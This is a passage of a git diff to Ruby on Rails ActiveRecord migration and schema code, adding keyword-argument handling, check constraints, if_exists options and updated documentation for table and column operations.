       # See {connection.add_reference}[rdoc-ref:SchemaStatements#add_reference] for details of the options you can use.
       def references(*args, **options)
+        raise_on_if_exist_options(options)
         args.each do |ref_name|
-          @base.add_reference(name, ref_name, options)
+          @base.add_reference(name, ref_name, **options)
         end
       end
       alias :belongs_to :references
@@ -603,29 +875,88 @@ def references(*args, **options)
       #
       # See {connection.remove_reference}[rdoc-ref:SchemaStatements#remove_reference]
       def remove_references(*args, **options)
+        raise_on_if_exist_options(options)
         args.each do |ref_name|
-          @base.remove_reference(name, ref_name, options)
+          @base.remove_reference(name, ref_name, **options)
         end
       end
       alias :remove_belongs_to :remove_references
 
-      # Adds a foreign key.
+      # Adds a foreign key to the table using a supplied table name.
       #
-      # t.foreign_key(:authors)
+      #  t.foreign_key(:authors)
+      #  t.foreign_key(:authors, column: :author_id, primary_key: "id")
       #
       # See {connection.add_foreign_key}[rdoc-ref:SchemaStatements#add_foreign_key]
-      def foreign_key(*args) # :nodoc:
-        @base.add_foreign_key(name, *args)
+      def foreign_key(*args, **options)
+        raise_on_if_exist_options(options)
+        @base.add_foreign_key(name, *args, **options)
+      end
+
+      # Removes the given foreign key from the table.
+      #
+      #  t.remove_foreign_key(:authors)
+      #  t.remove_foreign_key(column: :author_id)
+      #
+      # See {connection.remove_foreign_key}[rdoc-ref:SchemaStatements#remove_foreign_key]
+      def remove_foreign_key(*args, **options)
+        raise_on_if_exist_options(options)
+        @base.remove_foreign_key(name, *args, **options)
       end
 
       # Checks to see if a foreign key exists.
       #
-      # t.foreign_key(:authors) unless t.foreign_key_exists?(:authors)
+      #  t.foreign_key(:authors) unless t.foreign_key_exists?(:authors)
       #
       # See {connection.foreign_key_exists?}[rdoc-ref:SchemaStatements#foreign_key_exists?]
-      def foreign_key_exists?(*args) # :nodoc:
-        @base.foreign_key_exists?(name, *args)
+      def foreign_key_exists?(*args, **options)
+        @base.foreign_key_exists?(name, *args, **options)
       end
+
+      # Adds a check constraint.
+      #
+      #  t.check_constraint("price > 0", name: "price_check")
+      #
+      # See {connection.add_check_constraint}[rdoc-ref:SchemaStatements#add_check_constraint]
+      def check_constraint(*args, **options)
+        @base.add_check_constraint(name, *args, **options)
+      end
+
+      # Removes the given check constraint from the table.
+      #
+      #  t.remove_check_constraint(name: "price_check")
+      #
+      # See {connection.remove_check_constraint}[rdoc-ref:SchemaStatements#remove_check_constraint]
+      def remove_check_constraint(*args, **options)
+        @base.remove_check_constraint(name, *args, **options)
+      end
+
+      # Checks if a check_constraint exists on a table.
+      #
+      #  unless t.check_constraint_exists?(name: "price_check")
+      #    t.check_constraint("price > 0", name: "price_check")
+      #  end
+      #
+      # See {connection.check_constraint_exists?}[rdoc-ref:SchemaStatements#check_constraint_exists?]
+      def check_constraint_exists?(*args, **options)
+        @base.check_constraint_exists?(name, *args, **options)
+      end
+
+      private
+        def raise_on_if_exist_options(options)
+          unrecognized_option = options.keys.find do |key|
+            key == :if_exists || key == :if_not_exists
+          end
+          if unrecognized_option
+            conditional = unrecognized_option == :if_exists ? "if" : "unless"
+            message = <<~TXT
+              Option #{unrecognized_option} will be ignored. If you are calling an expression like
+              `t.column(.., #{unrecognized_option}: true)` from inside a change_table block, try a
+              conditional clause instead, as in `t.column(..) #{conditional} t.column_exists?(..)`
+            TXT
+            raise ArgumentError.new(message)
+          end
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
index 34036d8a1dd48..4a64eddcec92f 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
@@ -1,63 +1,40 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
-    # The goal of this module is to move Adapter specific column
-    # definitions to the Adapter instead of having it in the schema
-    # dumper itself. This code represents the normal case.
-    # We can then redefine how certain data types may be handled in the schema dumper on the
-    # Adapter level by over-writing this code inside the database specific adapters
-    module ColumnDumper
-      def column_spec(column)
-        [schema_type_with_virtual(column), prepare_column_options(column)]
-      end
+    class SchemaDumper < SchemaDumper # :nodoc:
+      DEFAULT_DATETIME_PRECISION = 6 # :nodoc:
 
-      def column_spec_for_primary_key(column)
-        return {} if default_primary_key?(column)
-        spec = { id: schema_type(column).inspect }
-        spec.merge!(prepare_column_options(column).except!(:null))
-        spec[:default] ||= "nil" if explicit_primary_key_default?(column)
-        spec
+      def self.create(connection, options)
+        new(connection, options)
       end
 
-      # This can be overridden on an Adapter level basis to support other
-      # extended datatypes (Example: Adding an array option in the
-      # PostgreSQL::ColumnDumper)
-      def prepare_column_options(column)
-        spec = {}
-
-        if limit = schema_limit(column)
-          spec[:limit] = limit
-        end
-
-        if precision = schema_precision(column)
-          spec[:precision] = precision
+      private
+        def column_spec(column)
+          [schema_type_with_virtual(column), prepare_column_options(column)]
         end
 
-        if scale = schema_scale(column)
-          spec[:scale] = scale
+        def column_spec_for_primary_key(column)
+          spec = {}
+          spec[:id] = schema_type(column).inspect unless default_primary_key?(column)
+          spec.merge!(prepare_column_options(column).except!(:null))
+          spec[:default] ||= "nil" if explicit_primary_key_default?(column)
+          spec
         end
 
-        default = schema_default(column) if column.has_default?
-        spec[:default] = default unless default.nil?
-
-        spec[:null] = "false" unless column.null
-
-        if collation = schema_collation(column)
-          spec[:collation] = collation
+        def prepare_column_options(column)
+          spec = {}
+          spec[:limit] = schema_limit(column)
+          spec[:precision] = schema_precision(column)
+          spec[:scale] = schema_scale(column)
+          spec[:default] = schema_default(column)
+          spec[:null] = "false" unless column.null
+          spec[:collation] = schema_collation(column)
+          spec[:comment] = column.comment.inspect if column.comment.present?
+          spec.compact!
+          spec
         end
 
-        spec[:comment] = column.comment.inspect if column.comment.present?
-
-        spec
-      end
-
-      # Lists the valid migration options
-      def migration_keys # :nodoc:
-        column_options_keys
-      end
-      deprecate :migration_keys
-
-      private
-
         def default_primary_key?(column)
           schema_type(column) == :bigint
         end
@@ -67,7 +44,7 @@ def explicit_primary_key_default?(column)
         end
 
         def schema_type_with_virtual(column)
-          if supports_virtual_columns? && column.virtual?
+          if @connection.supports_virtual_columns? && column.virtual?
             :virtual
           else
             schema_type(column)
@@ -84,11 +61,22 @@ def schema_type(column)
 
         def schema_limit(column)
           limit = column.limit unless column.bigint?
-          limit.inspect if limit && limit != native_database_types[column.type][:limit]
+          limit.inspect if limit && limit != @connection.native_database_types[column.type][:limit]
         end
 
         def schema_precision(column)
-          column.precision.inspect if column.precision
+          if column.type == :datetime
+            case column.precision
+            when nil
+              "nil"
+            when DEFAULT_DATETIME_PRECISION
+              nil
+            else
+              column.precision.inspect
+            end
+          elsif column.precision
+            column.precision.inspect
+          end
         end
 
         def schema_scale(column)
@@ -96,7 +84,9 @@ def schema_scale(column)
         end
 
         def schema_default(column)
-          type = lookup_cast_type_from_column(column)
+          return unless column.has_default?
+          # TODO: Remove fetch_cast_type and the need for connection after we release 8.1.
+          type = column.fetch_cast_type(@connection)
           default = type.deserialize(column.default)
           if default.nil?
             schema_expression(column)
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
index bdcdfe4982a2e..a8d387d3d30e6 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -1,6 +1,8 @@
-require "active_record/migration/join_table"
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/access"
-require "digest"
+require "active_support/core_ext/string/filters"
+require "openssl"
 
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
@@ -28,9 +30,11 @@ def table_alias_for(table_name)
         table_name[0...table_alias_length].tr(".", "_")
       end
 
-      # Returns the relation names useable to back Active Record models.
+      # Returns the relation names usable to back Active Record models.
       # For most adapters this means all #tables and #views.
       def data_sources
+        query_values(data_source_sql)
+      rescue NotImplementedError
         tables | views
       end
 
@@ -39,12 +43,14 @@ def data_sources
       #   data_source_exists?(:ebooks)
       #
       def data_source_exists?(name)
+        query_values(data_source_sql(name)).any? if name.present?
+      rescue NotImplementedError
         data_sources.include?(name.to_s)
       end
 
       # Returns an array of table names defined in the database.
       def tables
-        raise NotImplementedError, "#tables is not implemented"
+        query_values(data_source_sql(type: "BASE TABLE"))
       end
 
       # Checks to see if the table +table_name+ exists on the database.
@@ -52,12 +58,14 @@ def tables
       #   table_exists?(:developers)
       #
       def table_exists?(table_name)
+        query_values(data_source_sql(table_name, type: "BASE TABLE")).any? if table_name.present?
+      rescue NotImplementedError
         tables.include?(table_name.to_s)
       end
 
       # Returns an array of view names defined in the database.
       def views
-        raise NotImplementedError, "#views is not implemented"
+        query_values(data_source_sql(type: "VIEW"))
       end
 
       # Checks to see if the view +view_name+ exists on the database.
@@ -65,11 +73,13 @@ def views
       #   view_exists?(:ebooks)
       #
       def view_exists?(view_name)
+        query_values(data_source_sql(view_name, type: "VIEW")).any? if view_name.present?
+      rescue NotImplementedError
         views.include?(view_name.to_s)
       end
 
       # Returns an array of indexes for the given table.
-      def indexes(table_name, name = nil)
+      def indexes(table_name)
         raise NotImplementedError, "#indexes is not implemented"
       end
 
@@ -87,20 +97,20 @@ def indexes(table_name, name = nil)
       #   # Check an index with a custom name exists
       #   index_exists?(:suppliers, :company_id, name: "idx_company_id")
       #
-      def index_exists?(table_name, column_name, options = {})
-        column_names = Array(column_name).map(&:to_s)
-        checks = []
-        checks << lambda { |i| i.columns == column_names }
-        checks << lambda { |i| i.unique } if options[:unique]
-        checks << lambda { |i| i.name == options[:name].to_s } if options[:name]
-
-        indexes(table_name).any? { |i| checks.all? { |check| check[i] } }
+      #   # Check a valid index exists (PostgreSQL only)
+      #   index_exists?(:suppliers, :company_id, valid: true)
+      #
+      def index_exists?(table_name, column_name = nil, **options)
+        indexes(table_name).any? { |i| i.defined_for?(column_name, **options) }
       end
 
-      # Returns an array of Column objects for the table specified by +table_name+.
-      # See the concrete implementation for details on the expected parameter values.
+      # Returns an array of +Column+ objects for the table specified by +table_name+.
       def columns(table_name)
-        raise NotImplementedError, "#columns is not implemented"
+        table_name = table_name.to_s
+        definitions = column_definitions(table_name)
+        definitions.map do |field|
+          new_column_from_field(table_name, field, definitions)
+        end
       end
 
       # Checks to see if a column exists in a given table.
@@ -109,6 +119,9 @@ def columns(table_name)
       #   column_exists?(:suppliers, :name)
       #
       #   # Check a column exists of a particular type
+      #   #
+      #   # This works for standard non-casted types (eg. string) but is unreliable
+      #   # for types that may get cast to something else (eg. char, bigint).
       #   column_exists?(:suppliers, :name, :string)
       #
       #   # Check a column exists with a specific definition
@@ -117,11 +130,11 @@ def columns(table_name)
       #   column_exists?(:suppliers, :name, :string, null: false)
       #   column_exists?(:suppliers, :tax, :decimal, precision: 8, scale: 2)
       #
-      def column_exists?(table_name, column_name, type = nil, options = {})
+      def column_exists?(table_name, column_name, type = nil, **options)
         column_name = column_name.to_s
         checks = []
         checks << lambda { |c| c.name == column_name }
-        checks << lambda { |c| c.type == type } if type
+        checks << lambda { |c| c.type == type.to_sym rescue nil } if type
         column_options_keys.each do |attr|
           checks << lambda { |c| c.send(attr) == options[attr] } if options.key?(attr)
         end
@@ -174,10 +187,15 @@ def primary_key(table_name)
       #   Join tables for {ActiveRecord::Base.has_and_belongs_to_many}[rdoc-ref:Associations::ClassMethods#has_and_belongs_to_many] should set it to false.
       #
       #   A Symbol can be used to specify the type of the generated primary key column.
+      #
+      #   A Hash can be used to specify the generated primary key column creation options.
+      #   See {add_column}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_column] for available options.
       # [<tt>:primary_key</tt>]
       #   The name of the primary key, if one is to be added automatically.
       #   Defaults to +id+. If <tt>:id</tt> is false, then this option is ignored.
       #
+      #   If an array is passed, a composite primary key will be created.
+      #
       #   Note that Active Record models will automatically detect their
       #   primary key. This can be avoided by using
       #   {self.primary_key=}[rdoc-ref:AttributeMethods::PrimaryKey::ClassMethods#primary_key=] on the model
@@ -191,19 +209,22 @@ def primary_key(table_name)
       #   Set to true to drop the table before creating it.
       #   Set to +:cascade+ to drop dependent objects as well.
       #   Defaults to false.
+      # [<tt>:if_not_exists</tt>]
+      #   Set to true to avoid raising an error when the table already exists.
+      #   Defaults to false.
       # [<tt>:as</tt>]
       #   SQL to use to generate the table. When this option is used, the block is
       #   ignored, as are the <tt>:id</tt> and <tt>:primary_key</tt> options.
       #
       # ====== Add a backend specific option to the generated SQL (MySQL)
       #
-      #   create_table(:suppliers, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+      #   create_table(:suppliers, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8mb4')
       #
       # generates:
       #
       #   CREATE TABLE suppliers (
-      #     id int auto_increment PRIMARY KEY
-      #   ) ENGINE=InnoDB DEFAULT CHARSET=utf8
+      #     id bigint auto_increment PRIMARY KEY
+      #   ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4
       #
       # ====== Rename the primary key column
       #
@@ -214,7 +235,7 @@ def primary_key(table_name)
       # generates:
       #
       #   CREATE TABLE objects (
-      #     guid int auto_increment PRIMARY KEY,
+      #     guid bigint auto_increment PRIMARY KEY,
       #     name varchar(80)
       #   )
       #
@@ -231,18 +252,35 @@ def primary_key(table_name)
       #     label varchar
       #   )
       #
+      # ====== Create a composite primary key
+      #
+      #   create_table(:orders, primary_key: [:product_id, :client_id]) do |t|
+      #     t.belongs_to :product
+      #     t.belongs_to :client
+      #   end
+      #
+      # generates:
+      #
+      #   CREATE TABLE orders (
+      #       product_id bigint NOT NULL,
+      #       client_id bigint NOT NULL
+      #   );
+      #
+      #   ALTER TABLE ONLY "orders"
+      #     ADD CONSTRAINT orders_pkey PRIMARY KEY (product_id, client_id);
+      #
       # ====== Do not add a primary key column
       #
       #   create_table(:categories_suppliers, id: false) do |t|
-      #     t.column :category_id, :integer
-      #     t.column :supplier_id, :integer
+      #     t.column :category_id, :bigint
+      #     t.column :supplier_id, :bigint
       #   end
       #
       # generates:
       #
       #   CREATE TABLE categories_suppliers (
-      #     category_id int,
-      #     supplier_id int
+      #     category_id bigint,
+      #     supplier_id bigint
       #   )
       #
       # ====== Create a temporary table based on a query
@@ -256,37 +294,34 @@ def primary_key(table_name)
       #     SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id
       #
       # See also TableDefinition#column for details on how to create columns.
-      def create_table(table_name, comment: nil, **options)
-        td = create_table_definition table_name, options[:temporary], options[:options], options[:as], comment: comment
+      def create_table(table_name, id: :primary_key, primary_key: nil, force: nil, **options, &block)
+        validate_create_table_options!(options)
+        validate_table_length!(table_name) unless options[:_uses_legacy_table_name]
 
-        if options[:id] != false && !options[:as]
-          pk = options.fetch(:primary_key) do
-            Base.get_primary_key table_name.to_s.singularize
-          end
-
-          if pk.is_a?(Array)
-            td.primary_keys pk
-          else
-            td.primary_key pk, options.fetch(:id, :primary_key), options
-          end
+        if force && options.key?(:if_not_exists)
+          raise ArgumentError, "Options `:force` and `:if_not_exists` cannot be used simultaneously."
         end
 
-        yield td if block_given?
+        td = build_create_table_definition(table_name, id: id, primary_key: primary_key, force: force, **options, &block)
 
-        if options[:force] && data_source_exists?(table_name)
-          drop_table(table_name, options)
+        if force
+          drop_table(table_name, force: force, if_exists: true)
+        else
+          schema_cache.clear_data_source_cache!(table_name.to_s)
         end
 
-        result = execute schema_creation.accept td
+        result = execute schema_creation.accept(td)
 
         unless supports_indexes_in_create?
           td.indexes.each do |column_name, index_options|
-            add_index(table_name, column_name, index_options)
+            add_index(table_name, column_name, **index_options, if_not_exists: td.if_not_exists)
           end
         end
 
         if supports_comments? && !supports_comments_in_create?
-          change_table_comment(table_name, comment) if comment.present?
+          if table_comment = td.comment.presence
+            change_table_comment(table_name, table_comment)
+          end
 
           td.columns.each do |column|
             change_column_comment(table_name, column.name, column.comment) if column.comment.present?
@@ -296,17 +331,40 @@ def create_table(table_name, comment: nil, **options)
         result
       end
 
+      # Returns a TableDefinition object containing information about the table that would be created
+      # if the same arguments were passed to #create_table. See #create_table for information about
+      # passing a +table_name+, and other additional options that can be passed.
+      def build_create_table_definition(table_name, id: :primary_key, primary_key: nil, force: nil, **options)
+        table_definition = create_table_definition(table_name, **options.extract!(*valid_table_definition_options, :_skip_validate_options))
+        table_definition.set_primary_key(table_name, id, primary_key, **options.extract!(*valid_primary_key_options, :_skip_validate_options))
+
+        yield table_definition if block_given?
+
+        table_definition
+      end
+
       # Creates a new join table with the name created using the lexical order of the first two
       # arguments. These arguments can be a String or a Symbol.
       #
       #   # Creates a table called 'assemblies_parts' with no id.
       #   create_join_table(:assemblies, :parts)
       #
+      #   # Creates a table called 'paper_boxes_papers' with no id.
+      #   create_join_table('papers', 'paper_boxes')
+      #
+      # A duplicate prefix is combined into a single prefix. This is useful for
+      # namespaced models like Music::Artist and Music::Record:
+      #
+      #   # Creates a table called 'music_artists_records' with no id.
+      #   create_join_table('music_artists', 'music_records')
+      #
+      # See {connection.add_reference}[rdoc-ref:SchemaStatements#add_reference]
+      # for details of the options you can use in +column_options+. +column_options+
+      # will be applied to both columns.
+      #
       # You can pass an +options+ hash which can include the following keys:
       # [<tt>:table_name</tt>]
       #   Sets the table name, overriding the default.
-      # [<tt>:column_options</tt>]
-      #   Any extra options you want appended to the columns definition.
       # [<tt>:options</tt>]
       #   Any extra options you want appended to the table definition.
       # [<tt>:temporary</tt>]
@@ -323,6 +381,19 @@ def create_table(table_name, comment: nil, **options)
       #     t.index :category_id
       #   end
       #
+      # ====== Add foreign keys with delete cascade
+      #
+      #   create_join_table(:assemblies, :parts, column_options: { foreign_key: { on_delete: :cascade } })
+      #
+      # generates:
+      #
+      #   CREATE TABLE assemblies_parts (
+      #     assembly_id bigint NOT NULL,
+      #     part_id bigint NOT NULL,
+      #     CONSTRAINT fk_rails_0d8a572d89 FOREIGN KEY ("assembly_id") REFERENCES "assemblies" ("id") ON DELETE CASCADE,
+      #     CONSTRAINT fk_rails_ec7b48402b FOREIGN KEY ("part_id") REFERENCES "parts" ("id") ON DELETE CASCADE
+      #   )
+      #
       # ====== Add a backend specific option to the generated SQL (MySQL)
       #
       #   create_join_table(:assemblies, :parts, options: 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
@@ -330,35 +401,51 @@ def create_table(table_name, comment: nil, **options)
       # generates:
       #
       #   CREATE TABLE assemblies_parts (
-      #     assembly_id int NOT NULL,
-      #     part_id int NOT NULL,
+      #     assembly_id bigint NOT NULL,
+      #     part_id bigint NOT NULL,
       #   ) ENGINE=InnoDB DEFAULT CHARSET=utf8
       #
-      def create_join_table(table_1, table_2, options = {})
+      def create_join_table(table_1, table_2, column_options: {}, **options)
         join_table_name = find_join_table_name(table_1, table_2, options)
 
-        column_options = options.delete(:column_options) || {}
-        column_options.reverse_merge!(null: false)
-        type = column_options.delete(:type) || :integer
+        column_options.reverse_merge!(null: false, index: false)
+
+        t1_ref, t2_ref = [table_1, table_2].map { |t| reference_name_for_table(t) }
+
+        create_table(join_table_name, **options.merge!(id: false)) do |td|
+          td.references t1_ref, **column_options
+          td.references t2_ref, **column_options
+          yield td if block_given?
+        end
+      end
+
+      # Builds a TableDefinition object for a join table.
+      #
+      # This definition object contains information about the table that would be created
+      # if the same arguments were passed to #create_join_table. See #create_join_table for
+      # information about what arguments should be passed.
+      def build_create_join_table_definition(table_1, table_2, column_options: {}, **options) # :nodoc:
+        join_table_name = find_join_table_name(table_1, table_2, options)
+        column_options.reverse_merge!(null: false, index: false)
 
-        t1_column, t2_column = [table_1, table_2].map { |t| t.to_s.singularize.foreign_key }
+        t1_ref, t2_ref = [table_1, table_2].map { |t| reference_name_for_table(t) }
 
-        create_table(join_table_name, options.merge!(id: false)) do |td|
-          td.send type, t1_column, column_options
-          td.send type, t2_column, column_options
+        build_create_table_definition(join_table_name, **options.merge!(id: false)) do |td|
+          td.references t1_ref, **column_options
+          td.references t2_ref, **column_options
           yield td if block_given?
         end
       end
 
       # Drops the join table specified by the given arguments.
-      # See #create_join_table for details.
+      # See #create_join_table and #drop_table for details.
       #
       # Although this command ignores the block if one is given, it can be helpful
       # to provide one in a migration's +change+ method so it can be reverted.
       # In that case, the block will be used by #create_join_table.
-      def drop_join_table(table_1, table_2, options = {})
+      def drop_join_table(table_1, table_2, **options)
         join_table_name = find_join_table_name(table_1, table_2, options)
-        drop_table(join_table_name)
+        drop_table(join_table_name, **options)
       end
 
       # A block for changing columns in +table+.
@@ -377,12 +464,20 @@ def drop_join_table(table_1, table_2, options = {})
       #
       #   Defaults to false.
       #
+      #   Only supported on the MySQL and PostgreSQL adapter, ignored elsewhere.
+      #
       # ====== Add a column
       #
       #   change_table(:suppliers) do |t|
       #     t.column :name, :string, limit: 60
       #   end
       #
+      # ====== Change type of a column
+      #
+      #   change_table(:suppliers) do |t|
+      #     t.change :metadata, :json
+      #   end
+      #
       # ====== Add 2 integer columns
       #
       #   change_table(:suppliers) do |t|
@@ -401,7 +496,7 @@ def drop_join_table(table_1, table_2, options = {})
       #     t.references :company
       #   end
       #
-      # Creates a <tt>company_id(integer)</tt> column.
+      # Creates a <tt>company_id(bigint)</tt> column.
       #
       # ====== Add a polymorphic foreign key column
       #
@@ -409,7 +504,7 @@ def drop_join_table(table_1, table_2, options = {})
       #    t.belongs_to :company, polymorphic: true
       #  end
       #
-      # Creates <tt>company_type(varchar)</tt> and <tt>company_id(integer)</tt> columns.
+      # Creates <tt>company_type(varchar)</tt> and <tt>company_id(bigint)</tt> columns.
       #
       # ====== Remove a column
       #
@@ -431,13 +526,13 @@ def drop_join_table(table_1, table_2, options = {})
       #  end
       #
       # See also Table for details on all of the various column transformations.
-      def change_table(table_name, options = {})
+      def change_table(table_name, base = self, **options)
         if supports_bulk_alter? && options[:bulk]
           recorder = ActiveRecord::Migration::CommandRecorder.new(self)
           yield update_table_definition(table_name, recorder)
           bulk_change_table(table_name, recorder.commands)
         else
-          yield update_table_definition(table_name, self)
+          yield update_table_definition(table_name, base)
         end
       end
 
@@ -445,11 +540,11 @@ def change_table(table_name, options = {})
       #
       #   rename_table('octopuses', 'octopi')
       #
-      def rename_table(table_name, new_name)
+      def rename_table(table_name, new_name, **)
         raise NotImplementedError, "rename_table is not implemented"
       end
 
-      # Drops a table from the database.
+      # Drops a table or tables from the database.
       #
       # [<tt>:force</tt>]
       #   Set to +:cascade+ to drop dependent objects as well.
@@ -460,37 +555,51 @@ def rename_table(table_name, new_name)
       #
       # Although this command ignores most +options+ and the block if one is given,
       # it can be helpful to provide these in a migration's +change+ method so it can be reverted.
-      # In that case, +options+ and the block will be used by #create_table.
-      def drop_table(table_name, options = {})
-        execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}"
+      # In that case, +options+ and the block will be used by #create_table except if you provide more than one table which is not supported.
+      def drop_table(*table_names, **options)
+        table_names.each do |table_name|
+          schema_cache.clear_data_source_cache!(table_name.to_s)
+          execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}"
+        end
       end
 
       # Add a new +type+ column named +column_name+ to +table_name+.
       #
-      # The +type+ parameter is normally one of the migrations native types,
+      # See {ActiveRecord::ConnectionAdapters::TableDefinition.column}[rdoc-ref:ActiveRecord::ConnectionAdapters::TableDefinition#column].
+      #
+      # The +type+ parameter is normally one of the migration's native types,
       # which is one of the following:
       # <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>,
       # <tt>:integer</tt>, <tt>:bigint</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:numeric</tt>,
       # <tt>:datetime</tt>, <tt>:time</tt>, <tt>:date</tt>,
-      # <tt>:binary</tt>, <tt>:boolean</tt>.
+      # <tt>:binary</tt>, <tt>:blob</tt>, <tt>:boolean</tt>.
       #
       # You may use a type not in this list as long as it is supported by your
       # database (for example, "polygon" in MySQL), but this will not be database
       # agnostic and should usually be avoided.
       #
       # Available options are (none of these exists by default):
-      # * <tt>:limit</tt> -
-      #   Requests a maximum column length. This is the number of characters for a <tt>:string</tt> column
-      #   and number of bytes for <tt>:text</tt>, <tt>:binary</tt> and <tt>:integer</tt> columns.
+      # * <tt>:comment</tt> -
+      #   Specifies the comment for the column. This option is ignored by some backends.
+      # * <tt>:collation</tt> -
+      #   Specifies the collation for a <tt>:string</tt> or <tt>:text</tt> column.
+      #   If not specified, the column will have the same collation as the table.
       # * <tt>:default</tt> -
       #   The column's default value. Use +nil+ for +NULL+.
+      # * <tt>:limit</tt> -
+      #   Requests a maximum column length. This is the number of characters for a <tt>:string</tt> column
+      #   and number of bytes for <tt>:text</tt>, <tt>:binary</tt>, <tt>:blob</tt>, and <tt>:integer</tt> columns.
+      #   This option is ignored by some backends.
       # * <tt>:null</tt> -
-      #   Allows or disallows +NULL+ values in the column. This option could
-      #   have been named <tt>:null_allowed</tt>.
+      #   Allows or disallows +NULL+ values in the column.
       # * <tt>:precision</tt> -
-      #   Specifies the precision for the <tt>:decimal</tt> and <tt>:numeric</tt> columns.
+      #   Specifies the precision for the <tt>:decimal</tt>, <tt>:numeric</tt>,
+      #   <tt>:datetime</tt>, and <tt>:time</tt> columns.
       # * <tt>:scale</tt> -
       #   Specifies the scale for the <tt>:decimal</tt> and <tt>:numeric</tt> columns.
+      # * <tt>:if_not_exists</tt> -
+      #   Specifies if the column already exists to not try to re-add it. This will avoid
+      #   duplicate column errors.
       #
       # Note: The precision is the total number of significant digits,
       # and the scale is the number of digits that can be stored following
@@ -503,7 +612,7 @@ def drop_table(table_name, options = {})
       # * The SQL standard says the default scale should be 0, <tt>:scale</tt> <=
       #   <tt>:precision</tt>, and makes no comments about the requirements of
       #   <tt>:precision</tt>.
-      # * MySQL: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..30].
+      # * MySQL: <tt>:precision</tt> [1..65], <tt>:scale</tt> [0..30].
       #   Default is (10,0).
       # * PostgreSQL: <tt>:precision</tt> [1..infinity],
       #   <tt>:scale</tt> [0..infinity]. No default.
@@ -511,8 +620,6 @@ def drop_table(table_name, options = {})
       #   but the maximum supported <tt>:precision</tt> is 16. No default.
       # * Oracle: <tt>:precision</tt> [1..38], <tt>:scale</tt> [-84..127].
       #   Default is (38,0).
-      # * DB2: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..62].
-      #   Default unknown.
       # * SqlServer: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
       #   Default (38,0).
       #
@@ -542,21 +649,55 @@ def drop_table(table_name, options = {})
       #  # Defines a column with a database-specific type.
       #  add_column(:shapes, :triangle, 'polygon')
       #  # ALTER TABLE "shapes" ADD "triangle" polygon
-      def add_column(table_name, column_name, type, options = {})
-        at = create_alter_table table_name
-        at.add_column(column_name, type, options)
-        execute schema_creation.accept at
+      #
+      #  # Ignores the method call if the column exists
+      #  add_column(:shapes, :triangle, 'polygon', if_not_exists: true)
+      def add_column(table_name, column_name, type, **options)
+        add_column_def = build_add_column_definition(table_name, column_name, type, **options)
+        return unless add_column_def
+
+        execute schema_creation.accept(add_column_def)
+      end
+
+      def add_columns(table_name, *column_names, type:, **options) # :nodoc:
+        column_names.each do |column_name|
+          add_column(table_name, column_name, type, **options)
+        end
+      end
+
+      # Builds an AlterTable object for adding a column to a table.
+      #
+      # This definition object contains information about the column that would be created
+      # if the same arguments were passed to #add_column. See #add_column for information about
+      # passing a +table_name+, +column_name+, +type+ and other options that can be passed.
+      def build_add_column_definition(table_name, column_name, type, **options) # :nodoc:
+        return if options[:if_not_exists] == true && column_exists?(table_name, column_name)
+
+        if supports_datetime_with_precision?
+          if type == :datetime && !options.key?(:precision)
+            options[:precision] = 6
+          end
+        end
+
+        alter_table = create_alter_table(table_name)
+        alter_table.add_column(column_name, type, **options)
+        alter_table
       end
 
       # Removes the given columns from the table definition.
       #
       #   remove_columns(:suppliers, :qualification, :experience)
       #
-      def remove_columns(table_name, *column_names)
-        raise ArgumentError.new("You must specify at least one column name. Example: remove_columns(:people, :first_name)") if column_names.empty?
-        column_names.each do |column_name|
-          remove_column(table_name, column_name)
+      # +type+ and other column options can be passed to make migration reversible.
+      #
+      #    remove_columns(:suppliers, :qualification, :experience, type: :string, null: false)
+      def remove_columns(table_name, *column_names, type: nil, **options)
+        if column_names.empty?
+          raise ArgumentError.new("You must specify at least one column name. Example: remove_columns(:people, :first_name)")
         end
+
+        remove_column_fragments = remove_columns_for_alter(table_name, *column_names, type: type, **options)
+        execute "ALTER TABLE #{quote_table_name(table_name)} #{remove_column_fragments.join(', ')}"
       end
 
       # Removes the column from the table definition.
@@ -566,8 +707,18 @@ def remove_columns(table_name, *column_names)
       # The +type+ and +options+ parameters will be ignored if present. It can be helpful
       # to provide these in a migration's +change+ method so it can be reverted.
       # In that case, +type+ and +options+ will be used by #add_column.
-      def remove_column(table_name, column_name, type = nil, options = {})
-        execute "ALTER TABLE #{quote_table_name(table_name)} DROP #{quote_column_name(column_name)}"
+      # Depending on the database you're using, indexes using this column may be
+      # automatically removed or modified to remove this column from the index.
+      #
+      # If the options provided include an +if_exists+ key, it will be used to check if the
+      # column does not exist. This will silently ignore the migration rather than raising
+      # if the column was already removed.
+      #
+      #   remove_column(:suppliers, :qualification, if_exists: true)
+      def remove_column(table_name, column_name, type = nil, **options)
+        return if options[:if_exists] == true && !column_exists?(table_name, column_name)
+
+        execute "ALTER TABLE #{quote_table_name(table_name)} #{remove_column_for_alter(table_name, column_name, type, **options)}"
       end
 
       # Changes the column's definition according to the new options.
@@ -576,7 +727,7 @@ def remove_column(table_name, column_name, type = nil, options = {})
       #   change_column(:suppliers, :name, :string, limit: 80)
       #   change_column(:accounts, :description, :text)
       #
